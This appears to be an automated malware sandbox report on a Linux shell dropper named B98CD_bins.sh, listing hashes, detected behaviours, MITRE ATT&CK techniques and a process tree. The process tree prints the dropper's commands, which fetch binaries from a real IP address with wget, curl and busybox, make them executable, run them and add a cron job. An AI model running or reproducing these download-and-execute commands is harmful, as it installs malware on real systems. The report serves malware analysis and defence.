7b26e1067afb6e7ff3edc8cc34bd25819a0439cedcfefe6e8a9a28cb62b56277

Analysis

max time kernel
150s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21-11-2024 07:01

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General

Target

B98CD_bins.sh
Size

10KB
MD5

0a7d8be88ccc96d0d1a91c27f63e3a6c
SHA1

ba922eff12ebe57a6064f8773d16d9a51cde88f1
SHA256

7b26e1067afb6e7ff3edc8cc34bd25819a0439cedcfefe6e8a9a28cb62b56277
SHA512

3279e6ff5af91dc2a1ec24a55dcfa8fb40b686359dcc57febf40fa24673159ee6946521e9e8212d9ea533e160e94041cc66c442130019c5d3dc537cfb83e48b3
SSDEEP

192:my+UaEM28EdM7z3479lW7LvcN1vL+Us+U0+UEdUTUHUFCOv9lMLv3BfBx7amn78V:nxMQiCSyW5dCyh/xCeyW5dCyY

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2141) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
702	chmod
715	chmod
734	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	704	AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	716	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
/tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD	735	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD

Renames itself 1 IoCs

pid	Process
737	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.JquoZx	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1112/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/672/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/853/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1006/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1073/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1155/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/809/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/874/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/997/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1076/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1159/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/867/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/878/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/892/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1071/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/326/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1110/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1129/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1127/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/109/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/318/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/754/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/993/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/905/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1065/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1136/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/775/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/956/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1002/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1040/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1149/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/815/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1031/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/999/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1000/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1047/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/785/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/807/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/887/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/937/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/17/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/808/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/849/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1128/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/755/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/962/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1041/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1106/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/13/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/955/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1054/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/951/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/826/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/850/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1084/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/828/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1134/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/761/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/926/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1048/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1069/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1034/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/1043/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD	busybox
File opened for modification	/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	wget
File opened for modification	/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	curl
File opened for modification	/tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD	curl
File opened for modification	/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	busybox
File opened for modification	/tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD	wget
File opened for modification	/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	curl
File opened for modification	/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	busybox
File opened for modification	/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	wget

/tmp/B98CD_bins.sh
/tmp/B98CD_bins.sh
1⤵
PID:674
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:676
- /usr/bin/wget
  wget http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Writes file to tmp directory
  PID:682
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:690
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Writes file to tmp directory
  PID:700
- /bin/chmod
  chmod 777 AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - File and Directory Permissions Modification
  PID:702
- /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  ./AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Executes dropped EXE
  PID:704
- /bin/rm
  rm AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  PID:706
- /usr/bin/wget
  wget http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Writes file to tmp directory
  PID:707
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:712
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Writes file to tmp directory
  PID:714
- /bin/chmod
  chmod 777 Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - File and Directory Permissions Modification
  PID:715
- /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  ./Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Executes dropped EXE
  PID:716
- /bin/rm
  rm Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  PID:718
- /usr/bin/wget
  wget http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - Writes file to tmp directory
  PID:719
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:720
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - Writes file to tmp directory
  PID:732
- /bin/chmod
  chmod 777 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  ./7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:735
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:738
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:739
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:741
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:742
- /bin/rm
  rm 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  PID:746
- /usr/bin/wget
  wget http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  PID:750
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  PID:836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.JquoZx

Filesize
210B

MD5
74471da6488fa0ccbda8def7bd811b04

SHA1
55c2c79c91552b80f7d05ad291bfb2dde30ae54b

SHA256
febee23229b41380d9072d9b19940eb964cccc4b48f8c28ebea5021b5435205a

SHA512
01d8b9bdf5a5c3068fb56fe93605a6e87456c9d57359a9d96f903b67f782f0ad394165f543174cf751b749e0379bd1e5d5b0639ae39da59212541e8aedf5342f

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads